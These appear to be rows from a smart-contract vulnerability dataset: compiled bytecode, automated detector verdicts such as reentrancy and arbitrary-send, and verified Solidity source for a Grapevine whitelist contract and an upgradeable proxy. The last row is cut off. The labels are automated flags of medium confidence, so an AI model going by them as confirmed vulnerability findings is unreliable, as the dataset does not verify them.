000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122038cc78ecff5616a063bdce6398b46d7728dc485c64ab167cc845771600146b6564736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,848 |
0x4e0094499668b627872b5cde7b8299b854ac701d
|
pragma solidity ^0.4.23;
// File: contracts/grapevine/crowdsale/GrapevineWhitelistInterface.sol
/**
* @title Grapevine Whitelist extends the zeppelin Whitelist and adding off-chain signing capabilities.
* @dev Grapevine Crowdsale
**/
contract GrapevineWhitelistInterface {
/**
* @dev Function to check if an address is whitelisted or not
* @param _address address The address to be checked.
*/
function whitelist(address _address) view external returns (bool);
/**
* @dev Handles the off-chain whitelisting.
* @param _addr Address of the sender.
* @param _sig signed message provided by the sender.
*/
function handleOffchainWhitelisted(address _addr, bytes _sig) external returns (bool);
}
// File: openzeppelin-solidity/contracts/ECRecovery.sol
/**
* @title Eliptic curve signature operations
*
* @dev Based on https://gist.github.com/axic/5b33912c6f61ae6fd96d6c4a47afde6d
*
* TODO Remove this library once solidity supports passing a signature to ecrecover.
* See https://github.com/ethereum/solidity/issues/864
*
*/
library ECRecovery {
/**
* @dev Recover signer address from a message by using their signature
* @param hash bytes32 message, the hash is the signed message. What is recovered is the signer address.
* @param sig bytes signature, the signature is generated using web3.eth.sign()
*/
function recover(bytes32 hash, bytes sig)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(sig, 32))
s := mload(add(sig, 64))
v := byte(0, mload(add(sig, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
// solium-disable-next-line arg-overflow
return ecrecover(hash, v, r, s);
}
}
/**
* toEthSignedMessageHash
* @dev prefix a bytes32 value with "\x19Ethereum Signed Message:"
* @dev and hash the result
*/
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(
"\x19Ethereum Signed Message:\n32",
hash
);
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/rbac/Roles.sol
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
// File: openzeppelin-solidity/contracts/ownership/rbac/RBAC.sol
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* @dev Supports unlimited numbers of roles and addresses.
* @dev See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param roleNames the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] roleNames) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < roleNames.length; i++) {
// if (hasRole(msg.sender, roleNames[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: openzeppelin-solidity/contracts/access/SignatureBouncer.sol
/**
* @title SignatureBouncer
* @author PhABC and Shrugs
* @dev Bouncer allows users to submit a signature as a permission to do an action.
* If the signature is from one of the authorized bouncer addresses, the signature
* is valid. The owner of the contract adds/removes bouncers.
* Bouncer addresses can be individual servers signing grants or different
* users within a decentralized club that have permission to invite other members.
* This technique is useful for whitelists and airdrops; instead of putting all
* valid addresses on-chain, simply sign a grant of the form
* keccak256(`:contractAddress` + `:granteeAddress`) using a valid bouncer address.
* Then restrict access to your crowdsale/whitelist/airdrop using the
* `onlyValidSignature` modifier (or implement your own using isValidSignature).
*
* See the tests Bouncer.test.js for specific usage examples.
*/
contract SignatureBouncer is Ownable, RBAC {
using ECRecovery for bytes32;
string public constant ROLE_BOUNCER = "bouncer";
/**
* @dev requires that a valid signature of a bouncer was provided
*/
modifier onlyValidSignature(bytes _sig)
{
require(isValidSignature(msg.sender, _sig));
_;
}
/**
* @dev allows the owner to add additional bouncer addresses
*/
function addBouncer(address _bouncer)
onlyOwner
public
{
require(_bouncer != address(0));
addRole(_bouncer, ROLE_BOUNCER);
}
/**
* @dev allows the owner to remove bouncer addresses
*/
function removeBouncer(address _bouncer)
onlyOwner
public
{
require(_bouncer != address(0));
removeRole(_bouncer, ROLE_BOUNCER);
}
/**
* @dev is the signature of `this + sender` from a bouncer?
* @return bool
*/
function isValidSignature(address _address, bytes _sig)
internal
view
returns (bool)
{
return isValidDataHash(
keccak256(address(this), _address),
_sig
);
}
/**
* @dev internal function to convert a hash to an eth signed message
* @dev and then recover the signature and check it against the bouncer role
* @return bool
*/
function isValidDataHash(bytes32 hash, bytes _sig)
internal
view
returns (bool)
{
address signer = hash
.toEthSignedMessageHash()
.recover(_sig);
return hasRole(signer, ROLE_BOUNCER);
}
}
// File: contracts/grapevine/crowdsale/GrapevineWhitelist.sol
/**
* @title Grapevine Whitelist extends the zeppelin Whitelist and adding off-chain signing capabilities.
* @dev Grapevine Crowdsale
**/
contract GrapevineWhitelist is SignatureBouncer, GrapevineWhitelistInterface {
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
event UselessEvent(address addr, bytes sign, bool ret);
mapping(address => bool) public whitelist;
address crowdsale;
constructor(address _signer) public {
require(_signer != address(0));
addBouncer(_signer);
}
modifier onlyOwnerOrCrowdsale() {
require(msg.sender == owner || msg.sender == crowdsale);
_;
}
/**
* @dev Function to check if an address is whitelisted
* @param _address address The address to be checked.
*/
function whitelist(address _address) view external returns (bool) {
return whitelist[_address];
}
/**
* @dev Function to set the crowdsale address
* @param _crowdsale address The address of the crowdsale.
*/
function setCrowdsale(address _crowdsale) external onlyOwner {
require(_crowdsale != address(0));
crowdsale = _crowdsale;
}
/**
* @dev Adds list of addresses to whitelist. Not overloaded due to limitations with truffle testing.
* @param _beneficiaries Addresses to be added to the whitelist
*/
function addAddressesToWhitelist(address[] _beneficiaries) external onlyOwnerOrCrowdsale {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
addAddressToWhitelist(_beneficiaries[i]);
}
}
/**
* @dev Removes single address from whitelist.
* @param _beneficiary Address to be removed to the whitelist
*/
function removeAddressFromWhitelist(address _beneficiary) external onlyOwnerOrCrowdsale {
whitelist[_beneficiary] = false;
emit WhitelistedAddressRemoved(_beneficiary);
}
/**
* @dev Handles the off-chain whitelisting.
* @param _addr Address of the sender.
* @param _sig signed message provided by the sender.
*/
function handleOffchainWhitelisted(address _addr, bytes _sig) external onlyOwnerOrCrowdsale returns (bool) {
bool valid;
// no need for consuming gas when the address is already whitelisted
if (whitelist[_addr]) {
valid = true;
} else {
valid = isValidSignature(_addr, _sig);
if (valid) {
// no need for consuming gas again if the address calls the contract again.
addAddressToWhitelist(_addr);
}
}
return valid;
}
/**
* @dev Adds single address to whitelist.
* @param _beneficiary Address to be added to the whitelist
*/
function addAddressToWhitelist(address _beneficiary) public onlyOwnerOrCrowdsale {
whitelist[_beneficiary] = true;
emit WhitelistedAddressAdded(_beneficiary);
}
}
|
0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c81146100d45780631479290e1461013d578063217fe6c61461015e578063286dd3f5146101d9578063483a20b2146101fa57806361b6f8891461021b578063715018a6146102485780637b9417c81461025d578063888764c81461027e5780638da5cb5b1461029f5780639b19251a146102d0578063d466ab6b146102f1578063e2ec6ec31461037b578063f2fde38b1461039b575b600080fd5b3480156100e057600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261013b958335600160a060020a03169536956044949193909101919081908401838280828437509497506103bc9650505050505050565b005b34801561014957600080fd5b5061013b600160a060020a036004351661042a565b34801561016a57600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526101c5958335600160a060020a03169536956044949193909101919081908401838280828437509497506104869650505050505050565b604080519115158252519081900360200190f35b3480156101e557600080fd5b5061013b600160a060020a03600435166104f9565b34801561020657600080fd5b5061013b600160a060020a036004351661057f565b34801561022757600080fd5b506101c560048035600160a060020a031690602480359081019101356105da565b34801561025457600080fd5b5061013b610687565b34801561026957600080fd5b5061013b600160a060020a03600435166106f3565b34801561028a57600080fd5b5061013b600160a060020a036004351661077c565b3480156102ab57600080fd5b506102b46107d5565b60408051600160a060020a039092168252519081900360200190f35b3480156102dc57600080fd5b506101c5600160a060020a03600435166107e4565b3480156102fd57600080fd5b50610306610802565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610340578181015183820152602001610328565b50505050905090810190601f16801561036d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561038757600080fd5b5061013b6004803560248101910135610827565b3480156103a757600080fd5b5061013b600160a060020a0360043516610893565b610426826001836040518082805190602001908083835b602083106103f25780518252601f1990920191602091820191016103d3565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506108b3565b5050565b600054600160a060020a0316331461044157600080fd5b600160a060020a038116151561045657600080fd5b61048381604080519081016040528060078152602001600080516020610d4b8339815191528152506108c8565b50565b60006104f2836001846040518082805190602001908083835b602083106104be5780518252601f19909201916020918201910161049f565b51815160209384036101000a60001901801990921691161790529201948552506040519384900301909220929150506109e9565b9392505050565b600054600160a060020a031633148061051c5750600354600160a060020a031633145b151561052757600080fd5b600160a060020a038116600081815260026020908152604091829020805460ff19169055815192835290517ff1abf01a1043b7c244d128e8595cf0c1d10743b022b03a02dffd8ca3bf729f5a9281900390910190a150565b600054600160a060020a0316331461059657600080fd5b600160a060020a03811615156105ab57600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600080548190600160a060020a03163314806106005750600354600160a060020a031633145b151561060b57600080fd5b600160a060020a03851660009081526002602052604090205460ff16156106345750600161067f565b61066e8585858080601f01602080910402602001604051908101604052809392919081815260200183838082843750610a08945050505050565b9050801561067f5761067f856106f3565b949350505050565b600054600160a060020a0316331461069e57600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b600054600160a060020a03163314806107165750600354600160a060020a031633145b151561072157600080fd5b600160a060020a038116600081815260026020908152604091829020805460ff19166001179055815192835290517fd1bba68c128cc3f427e5831b3c6f99f480b6efa6b9e80c757768f6124158cc3f9281900390910190a150565b600054600160a060020a0316331461079357600080fd5b600160a060020a03811615156107a857600080fd5b61048381604080519081016040528060078152602001600080516020610d4b833981519152815250610a47565b600054600160a060020a031681565b600160a060020a031660009081526002602052604090205460ff1690565b6040805180820190915260078152600080516020610d4b833981519152602082015281565b60008054600160a060020a031633148061084b5750600354600160a060020a031633145b151561085657600080fd5b5060005b8181101561088e5761088683838381811061087157fe5b90506020020135600160a060020a03166106f3565b60010161085a565b505050565b600054600160a060020a031633146108aa57600080fd5b61048381610b28565b6108bd82826109e9565b151561042657600080fd5b610932826001836040518082805190602001908083835b602083106108fe5780518252601f1990920191602091820191016108df565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610ba5565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a82826040518083600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b838110156109aa578181015183820152602001610992565b50505050905090810190601f1680156109d75780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b600160a060020a03166000908152602091909152604090205460ff1690565b604080516c010000000000000000000000003081028252600160a060020a03851602601482015290519081900360280190206000906104f29083610bc7565b610ab1826001836040518082805190602001908083835b60208310610a7d5780518252601f199092019160209182019101610a5e565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610c12565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982826040518083600160a060020a0316600160a060020a031681526020018060200182810382528381815181526020019150805190602001908083836000838110156109aa578181015183820152602001610992565b600160a060020a0381161515610b3d57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0316600090815260209190915260409020805460ff19169055565b600080610be383610bd786610c37565b9063ffffffff610c7516565b905061067f81604080519081016040528060078152602001600080516020610d4b833981519152815250610486565b600160a060020a0316600090815260209190915260409020805460ff19166001179055565b604080517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c8101839052905190819003603c019020919050565b60008060008084516041141515610c8f5760009350610d41565b50505060208201516040830151606084015160001a601b60ff82161015610cb457601b015b8060ff16601b14158015610ccc57508060ff16601c14155b15610cda5760009350610d41565b60408051600080825260208083018085528a905260ff8516838501526060830187905260808301869052925160019360a0808501949193601f19840193928390039091019190865af1158015610d34573d6000803e3d6000fd5b5050506020604051035193505b505050929150505600626f756e63657200000000000000000000000000000000000000000000000000a165627a7a72305820f1349de4f722d319e2528985326d1517778fdf7fadc2a9fd0618d891387fbfbc0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
| 7,849 |
0x281ff35e18d17cD2Cf9CC23afA8A4604601a84Cc
|
/**
*Submitted for verification at Etherscan.io on 2021-12-16
*/
pragma solidity 0.5.14;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, bytes memory _data) public payable {
require(_implementation() == address(0));
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title InitializableAdminUpgradeabilityProxy
* @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for
* initializing the implementation, admin, and init data.
*/
contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy {
/**
* Contract initializer.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
function initialize(address _logic, address _admin, bytes memory _data) public payable {
require(_implementation() == address(0));
InitializableUpgradeabilityProxy.initialize(_logic, _data);
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
}
contract SavingAccountProxy is InitializableAdminUpgradeabilityProxy {
/**
* @dev Overriding Proxy's fallback function to allow it to receive ETH
* @notice https://forum.openzeppelin.com/t/openzeppelin-upgradeable-contracts-affected-by-istanbul-hardfork/1616
* @notice After Istanbul hardfork ZOS upgradable contracts were not able receive ETH with fallback functions
* Hence, we have added a possible fix for this issue
*/
function () external payable {
// When no function call is invoked for delegatecall, assume that ETH is sent to the contract
// Hence, just return and accept ETH at Proxy, which are sent from other contract
if(msg.data.length == 0) return;
// When data is present, follow the normal Proxy calls
super._fallback();
}
}
|
0x6080604052600436106100705760003560e01c80638f2839701161004e5780638f28397014610168578063cf7a1d771461019b578063d1f578941461025a578063f851a4401461031057610070565b80633659cfe6146100845780634f1ef286146100b75780635c60da1b14610137575b3661007a57610082565b610082610325565b005b34801561009057600080fd5b50610082600480360360208110156100a757600080fd5b50356001600160a01b031661033f565b610082600480360360408110156100cd57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100f857600080fd5b82018360208201111561010a57600080fd5b8035906020019184600183028401116401000000008311171561012c57600080fd5b509092509050610379565b34801561014357600080fd5b5061014c610426565b604080516001600160a01b039092168252519081900360200190f35b34801561017457600080fd5b506100826004803603602081101561018b57600080fd5b50356001600160a01b0316610463565b610082600480360360608110156101b157600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101e557600080fd5b8201836020820111156101f757600080fd5b8035906020019184600183028401116401000000008311171561021957600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061051d945050505050565b6100826004803603604081101561027057600080fd5b6001600160a01b03823516919081019060408101602082013564010000000081111561029b57600080fd5b8201836020820111156102ad57600080fd5b803590602001918460018302840111640100000000831117156102cf57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295506105a3945050505050565b34801561031c57600080fd5b5061014c6106e3565b61032d61070e565b61033d61033861076e565b610793565b565b6103476107b7565b6001600160a01b0316336001600160a01b0316141561036e57610369816107dc565b610376565b610376610325565b50565b6103816107b7565b6001600160a01b0316336001600160a01b03161415610419576103a3836107dc565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610400576040519150601f19603f3d011682016040523d82523d6000602084013e610405565b606091505b505090508061041357600080fd5b50610421565b610421610325565b505050565b60006104306107b7565b6001600160a01b0316336001600160a01b031614156104585761045161076e565b9050610460565b610460610325565b90565b61046b6107b7565b6001600160a01b0316336001600160a01b0316141561036e576001600160a01b0381166104c95760405162461bcd60e51b81526004018080602001828103825260368152602001806108e16036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104f26107b7565b604080516001600160a01b03928316815291841660208301528051918290030190a16103698161081c565b600061052761076e565b6001600160a01b03161461053a57600080fd5b61054483826105a3565b604080517232b4b8189c9b1b97383937bc3c9730b236b4b760691b815290519081900360130190207fb